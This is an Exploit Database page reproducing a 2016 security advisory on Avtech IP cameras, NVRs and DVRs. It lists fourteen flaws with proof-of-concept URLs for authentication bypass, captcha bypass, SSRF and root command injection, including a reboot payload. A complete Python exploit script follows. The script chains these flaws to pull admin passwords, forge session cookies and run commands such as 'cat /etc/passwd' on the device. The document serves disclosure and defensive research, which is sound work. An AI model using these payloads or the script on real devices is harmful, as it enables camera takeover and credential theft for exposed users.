AVTECH IP Camera / NVR / DVR Devices – Multiple Vulnerabilities

• Exploit Database
• 107 阅读

• 作者： Gergely Eberhardt
  日期： 2016-10-11
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/40500/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486

  &apos;&apos;&apos; Avtech devices multiple vulnerabilities --------------------------------------------------   Platforms / Firmware confirmed affected: - Every Avtech device (IP camera, NVR, DVR) and firmware version. [4] contains the list of confirmed firmware versions, which are affected. - Product page: http://www.avtech.com.tw/   ôAVTECH, founded in 1996, is one of the worldÆs leading CCTV manufacturers. With stably increasing revenue and practical business running philosophy, AVTECH has been ranked as the largest public-listed company among the Taiwan surveillance industry. AVTECH makes every effort on the innovation of technology, product and implementation. Based on years of research and industry experience, AVTECH has obtained a leading position on mobile platform support and provides a full range of surveillance products.ö   Avtech is the second most popular search term in Shodan. According to Shodan, more than 130.000 Avtech devices are exposed to the internet.   Vulnerabilities --------------- 1) Plaintext storage of administrative password Every user password is stored in clear text. An attacker with access to the device itself can easily obtain the full list of passwords. By exploiting command injection or authentication bypass issues, the clear text admin password can be retrieved.   2) Missing CSRF protection The web interface does not use any CSRF protection. If a valid session exists for the user, the attacker can modify all settings of the device via CSRF. If there is no valid session, but the user did not change the default admin password, the attacker can log in as admin via CSRF as well.   3) Unauthenticated information disclosure Under the /cgi-bin/nobody folder every CGI script can be accessed without authentication. POC: GET /cgi-bin/nobody/Machine.cgi?action=get_capability Example response: Firmware.Version=1011-1005-1008-1002 MACAddress=00:0E:53:xx:xx:xx Product.Type=DVR Product.ID=308B Product.ShortName=V_full_Indep,V_Multistream Video.System=PAL Audio.DownloadFormat=ULAW Video.Input.Num=8 Video.Output.Num=1 Video.Format=H264,MJPEG Video.Format.Default=H264 Video.Resolution=4CIF,CIF Video.Quality=BEST,HIGH,NORMAL,BASIC Video.Local.Input.Num=8 Video.Local.Output.Num=1 Video.Local.Format=H264,MJPEG Audio.Input.Num=8 Audio.Output.Num=1 Audio.Format=ULAW Audio.Local.Input.Num=8 Audio.Local.Output.Num=1 Audio.Local.Format=PCM Language.Default=ENGLISH Language.Support=ENGLISH&CHINESE&JAPANESE&FRANCE&GERMAN&SPANISH&PORTUGUESE&ITALIAN&TURKISH&POLISH&RUSSIAN&CUSTOMIZE&THAI &VIETNAM&DUTCH&GREEK&ARABIC&CZECH&HUNGARIAN&HEBREW&CHINA& Capability=D0,80,A,80 PushNotify.MaxChannel=8   4) Unauthenticated SSRF in DVR devices In case of DVR devices, Search.cgi can be accessed without authentication. This service is responsible for searching and accessing IP cameras in the local network. In newer firmware versions, Search.cgi provides the cgi_query action, which performs an HTTP request with the specified parameters. By modifying the ip, port and queryb64str parameters, an attacker is able to perform arbitrary HTTP requests through the DVR device without authentication. POC: http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==   5) Unauthenticated command injection in DVR devices The cgi_query action in Search.cgi performs HTML requests with the wget system command, which uses the received parameters without sanitization or verification. By exploiting this issue, an attacker can execute any system command with root privileges without authentication. POC: http://<device_ip>/cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(ps|grep%20Search.cgi|grep%20-v%20grep|head%20-n%201|awk%20&apos;{print%20"/tmp/"$1".log"}&apos;);&password=admin   6) Authentication bypass #1 Video player plugins are stored as .cab files in the web root, which can be accessed and downloaded without authentication. The cab file request verification in the streamd web server is performed with the strstr function, which means that a request should not be authenticated if it contains the ô.cabö string anywhere in the URL. We note that some of the models contain an additional check in the CgiDaemon, which allows unauthenticated cgi access only under the /cgi-bin/nobody folder. POC: http://<device_ip>/cgi-bin/user/Config.cgi?.cab&action=get&category=Account.*   7) Authentication bypass #2 Cgi scripts in the /cgi-bin/nobody folder can be accessed without authentication (e.g. for login). The streamd web server verifies whether the request can be performed without authentication by searching for the ô/nobodyö string in the URL withthe strstr function. Thus, if a request contains the "/nobody" string anywhere in the URL, it does not have to be authenticated. We note that some of the models contain an additional check in the CgiDaemon, which allows unauthenticated cgi access only under the /cgi-bin/nobody folder. POC: http://<device_ip>/cgi-bin/user/Config.cgi?/nobody&action=get&category=Account.*   8) Unauthenticated file download from web root If a cab file is requested, the web server sends the file without processing it. Because the streamd web server verifies the cab file request by searching for the ô.cabö string in the URL with the strstr function, any file (even the cgi scripts) in the web root can be downloaded without authentication. POC: http://<device_ip>/cgi-bin/cgibox?.cab   9) Login captcha bypass #1 To prevent brute-forcing attempts, Avtech devices require a captcha for login requests. However, if the login requests contain the login=quick parameter, the captcha verification is bypassed. POC: http://<device_ip>/cgi-bin/nobody/VerifyCode.cgi?account=<b64(username:password)>&login=quick   10) Login captcha bypass #2 Instead of using a random session ID, Avtech devices use the base64-encoded username and password as the Cookie value. Since the IP address of the logged in user is not stored, if an attacker sets the Cookie manually, the captcha verification can by bypassed easily.   11) Authenticated command injection in CloudSetup.cgi Devices that support the Avtech cloud contain CloudSetup.cgi, which can be accessed after authentication. The exefile parameter of a CloudSetup.cgi request specifies the system command to be executed. Since there is no verification or white list-based checking of the exefile parameter, an attacker can execute arbitrary system commands with root privileges. POC: http://<device_ip>/cgi-bin/supervisor/CloudSetup.cgi?exefile=ps   12) Authenticated command injection in adcommand.cgi Some of the Avtech devices contain adcommand.cgi to perform ActionD commands. The adcommand.cgi can be accessed after authentication. In newer devices the ActionD daemon provides the DoShellCmd function, which performs a system call with the specified parameters. Since there is no verification or white list-based checking of the parameter of the DoShellCmd function, an attacker can execute arbitrary system commands with root privileges. POC: POST /cgi-bin/supervisor/adcommand.cgi HTTP/1.1 Host: <device_ip> Content-Length: 23 Cookie: SSID=YWRtaW46YWRtaW4=   DoShellCmd "strCmd=ps&"   13) Authenticated command injection in PwdGrp.cgi The PwdGrp.cgi uses the username, password and group parameters in a new user creation or modification request in a system command without validation or sanitization. Thus and attacker can execute arbitrary system commands with root privileges. We are aware that this vulnerability is being exploited in the wild! POC: http://<device_ip>/cgi-bin/supervisor/PwdGrp.cgi?action=add&user=test&pwd=;reboot;&grp=SUPERVISOR&lifetime=5%20MIN   14) HTTPS used without certificate verification The SyncCloudAccount.sh, QueryFromClient.sh and SyncPermit.sh scripts use wget to access HTTPS sites, such as https://payment.eagleeyes.tw, by specifying the no-check-certificate parameter. Thus wget skips server certificate verification and a MITM attack is possible against the HTTPS communication.   Timeline 2015.10.19: First attempt to contact with Avtech, but we did not receive any response 2016.05.24: Second attempt to contact Avtech without any response 2016.05.27: Third attempt to contact Avtech by sending e-mail to public Avtech e-mail addresses. We did not receive any response. 2016.xx.xx: Full disclosure   POC --- POC script is available to demonstrate the following problems [3]: - Unauthenticated information leakage (capabilities) - Authentication bypass (.cab, nobody) - Unauthenticated SSRF on DVR devices - Unauthenticated command injection on DVR devices - Login captcha bypass with login=quick or manual cookie creation - CloudSetup.cgi command injection after authentication - adcommand.cgi command injection after authentication   A video demonstration is also available [1], which presents some of the above problems.   Recommendations --------------- Unfortunately there is no solution available for these vulnerabilities at the moment. You can take the following steps to protect your device: - Change the default admin password - Never expose the web interface of any Avtech device to the internet   We note that the above vulnerabilities were found within a short period of time without a systematic approach. Based on the vulnerability types we found and the overall code quality, the devices should contain much more problems.   Credits ------- This vulnerability was discovered and researched by Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu)   References ---------- [1] https://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities <http://www.search-lab.hu/advisories/126-avtech-devices-multiple-vulnerabilities> [2] https://youtu.be/BUx8nLlIMxI [3] https://github.com/ebux/AVTECH [4] http://www.search-lab.hu/media/vulnerability_matrix.txt &apos;&apos;&apos;   # # POC code for Technicolor Avtech devices # # Demonstrates the following vulnerabilities #- Unauthenticated information leakage (capabilities) #- Authentication bypass (.cab, nobody) #- Unauthenticated SSRF on DVR devices #- Unauthenticated command injection on DVR devices #- Login captcha bypass with login=quick or manual cookie creation #- CloudSetup.cgi command injection after authentication #- adcommand.cgi command injection after authentication # # Credit: Gergely Eberhardt (@ebux25) from SEARCH-LAB Ltd. (www.search-lab.hu) # # Advisory: http://search-lab.hu/...   import sys import requests import base64   class avtech: AVTECH_BYP_NONE = 0 AVTECH_BYP_CAB = 1 AVTECH_BYP_NOBODY = 2   def __init__(self, addr, port): self.addr = addr self.port = port self.s = requests.Session() self.auth = False self.authbyp_str = {self.AVTECH_BYP_NONE:&apos;&apos;, self.AVTECH_BYP_CAB:&apos;.cab&&apos;, self.AVTECH_BYP_NOBODY:&apos;/nobody&&apos;} self.authbyp = self.AVTECH_BYP_NONE self.username = &apos;&apos; self.password = &apos;&apos;   self.cabbyp = False self.nobodybyp = False self.firmware_version = &apos;&apos; self.product_type = &apos;&apos; self.product_id = &apos;&apos; self.mac_address = &apos;&apos;   def getUri(self, uri, param, bypass=False): if (bypass): return &apos;http://%s:%d/%s?%s%s&apos;%(self.addr, self.port, uri, self.authbyp_str[self.authbyp], param) else: return &apos;http://%s:%d/%s?%s&apos;%(self.addr, self.port, uri, param)   def setPwd(self, usr, pwd): self.username = usr self.password = pwd   # creates a valid cookie without logging in def setCookie(self): self.s.cookies[&apos;SSID&apos;] = base64.b64encode(&apos;%s:%s&apos;%(self.username,self.password)) self.auth = True   # performs authentication with the provided user name and password using # the login=quick parameter, which bypass the captcha verification def login(self): self.s = requests.Session() r = self.s.get(self.getUri(&apos;/cgi-bin/nobody/VerifyCode.cgi&apos;, &apos;account=%s&login=quick&apos;%(base64.b64encode(&apos;%s:%s&apos;%(self.username,self.password))))) res = r.text.split() if (int(res[0]) == -35): #print &apos;Authentication failed with %s:%s&apos;%(self.username,self.password) return False if (int(res[0]) == 0): #print &apos;Authentication succeeded with %s:%s&apos;%(self.username,self.password) self.auth = True return True #else: #print &apos;Unknown response code: %d&apos;%(int(res[0])) return False   # verifies whether the authentication bypass is working .cab or /nobody problem def checkBypass(self): if (self.auth): return &apos;Session is already authenticated, you do not have to bypass!&apos; ret = &apos;&apos; greq = &apos;&action=get&category=Account.*&apos; # .cab check try: r = self.s.get(self.getUri(&apos;/cgi-bin/user/Config.cgi&apos;,&apos;.cab%s&apos;%(greq))) if (len(r.text) > 0 and r.text[0] == &apos;0&apos;): ret += &apos;.cab authentication bypass was successful, &apos; self.authbyp = self.AVTECH_BYP_CAB self.cabbyp = True except: ret += &apos;.cab authentication bypass was not successful, &apos;   # /nobody check try: r = self.s.get(self.getUri(&apos;/cgi-bin/user/Config.cgi&apos;,&apos;/nobody%s&apos;%(greq))) if (len(r.text) > 0 and r.text[0] == &apos;0&apos;): ret += &apos;/nobody authentication bypass was successful&apos; self.nobodybyp = True if (self.authbyp == self.AVTECH_BYP_NONE): self.authbyp = self.AVTECH_BYP_NOBODY except: ret += &apos;/nobody authentication bypass was not successful&apos; return ret   # retrieves account information after authentication def getAdminPwd(self): r = self.s.get(self.getUri(&apos;/cgi-bin/user/Config.cgi&apos;,&apos;action=get&category=Account.*&apos;, True)) for l in r.text.split(): lp = l.split(&apos;=&apos;) if (len(lp) == 2): if (lp[0] == &apos;Account.User1.Username&apos;): self.username = lp[1] elif (lp[0] == &apos;Account.User1.Password&apos;): self.password = lp[1] break if (lp[0] == &apos;Account.User2.Username&apos;): self.username = lp[1] elif (lp[0] == &apos;Account.User2.Password&apos;): self.password = lp[1] break if (lp[0] == &apos;Account.User3.Username&apos;): self.username = lp[1] elif (lp[0] == &apos;Account.User3.Password&apos;): self.password = lp[1] break   # retrieves firmware version after authentication def getFwVersion(self): r = self.s.get(self.getUri(&apos;/cgi-bin/user/Config.cgi&apos;,&apos;action=get&category=Properties.Firmware.*&apos;, False)) print r.text   # retrieves login response after authentication def getLogin(self): r = self.s.get(self.getUri(&apos;/cgi-bin/guest/Login.cgi&apos;,&apos;rnd=0.5&apos;, False)) print r.text   # CloudSetup.cgi command injection test def commandInjection(self, cmd): try: r = self.s.get(self.getUri(&apos;/cgi-bin/supervisor/CloudSetup.cgi&apos;,&apos;exefile=%s&apos;%(cmd), False)) return r.text except: print &apos;CloudSetup.cgi command injection test failed&apos;   # adcommand.cgi command injection test def commandInjection2(self, cmd): data = &apos;DoShellCmd "strCmd=%s&"&apos;%(cmd) r = self.s.post(self.getUri(&apos;/cgi-bin/supervisor/adcommand.cgi&apos;,&apos;&apos;, False), data=data) return r.text   # parses capability response def parseCapability(self, cap): for l in cap.split(&apos;\n&apos;): ld = l.strip().split(&apos;=&apos;) if (len(ld)==2): if (ld[0] == &apos;Firmware.Version&apos;): self.firmware_version = ld[1] elif (ld[0] == &apos;Product.Type&apos;): self.product_type = ld[1] elif (ld[0] == &apos;Product.ID&apos;): self.product_id = ld[1] elif (ld[0] == &apos;MACAddress&apos;): self.mac_address = ld[1]   # unauthenticated information leakage def getCapability(self): r = self.s.get(self.getUri(&apos;/cgi-bin/nobody/Machine.cgi&apos;,&apos;action=get_capability&apos;, False)) self.parseCapability(r.text) return r.text   # checks the availability of search.cgi (available only on DVR devices) def checkSearch(self): try: r = self.s.get(self.getUri(&apos;/cgi-bin/nobody/Search.cgi&apos;,&apos;action=scan&apos;, False)) return r.text except: return &apos;&apos;   # unauthenticated SSRF using the search.cgi script (available only on DVR devices) def checkCgiQuery(self): try: r = self.s.get(self.getUri(&apos;/cgi-bin/nobody/Search.cgi&apos;,&apos;action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&apos;, False)) if (len(r.text)>=4 and r.text[0:4] == &apos;0\nOK&apos;): return True else: return False except: return False   # unauthenticated command injection in the search.cgi script (available only on DVR devices) def searchCmdInjection(self, command): cmdstr = (&apos; ;%s>$(ps|grep Search.cgi|grep -v grep|head -n 1|awk \&apos;{print "/tmp/"$1".log"}\&apos;;)&apos;%(command)).replace(&apos; &apos;, &apos;%20&apos;) uri = self.getUri(&apos;cgi-bin/nobody/Search.cgi&apos;,&apos;action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%s&password=admin&apos;%(cmdstr),False) print uri r = self.s.get(uri) return r.text   #------------------------------------   if __name__ == &apos;__main__&apos;: if (len(sys.argv) < 2): print &apos;avtech_nas_pc.py addr [port]&apos; addr = sys.argv[1] port = 80 if (len(sys.argv) == 3): port = int(sys.argv[2])   avtech = avtech(addr, port)   # unatuhenticated information disclosure cap = avtech.getCapability() print cap avtech.parseCapability(cap) print &apos;%s,%s,%s,%s&apos;%(avtech.firmware_version, avtech.product_type, avtech.product_id, avtech.mac_address)   # check unauthenticated SSRF vulnerability sr = avtech.checkSearch() if (len(sr) > 0 and sr[0] == &apos;0&apos;): cgi_query = avtech.checkCgiQuery() if (cgi_query): print &apos;SSRF was successful&apos; else: print &apos;SSRF was not successful&apos;   resp = avtech.searchCmdInjection(&apos;XmlAp r Account.User1.Username&apos;) lines = resp.split(&apos;\n&apos;) if (len(lines) >= 3): pwd = lines[2].strip() print &apos;User1 name: %s&apos;%(pwd) avtech.username = pwd   resp = avtech.searchCmdInjection(&apos;XmlAp r Account.User1.Password&apos;) lines = resp.split(&apos;\n&apos;) if (len(lines) >= 3): pwd = lines[2].strip() print &apos;User1 password: %s&apos;%(pwd) avtech.password = pwd   # authentication bypas print &apos;Authentication bypass check&apos; print avtech.checkBypass() print &apos;Try to get admin password&apos; print avtech.getAdminPwd() default = False # try default password if (avtech.password == &apos;&apos;): avtech.setPwd(&apos;admin&apos;, &apos;admin&apos;) default = True # login with credentials using captch bypass avtech.login() # if captch bypass was not possible, but we have a password, set cookie manually if (not avtech.auth and not default and avtech.password != &apos;&apos;): avtech.setCookie()   # check issues after authentication if (avtech.auth): print &apos;Get admin password&apos; avtech.getAdminPwd() print &apos;Get login&apos; avtech.getLogin() print &apos;Get fw version&apos; avtech.getFwVersion() print &apos;cloud command injection&apos; print avtech.commandInjection(&apos;ps&apos;) print &apos;adcommand command injection&apos; print avtech.commandInjection2(&apos;cat /etc/passwd&apos;)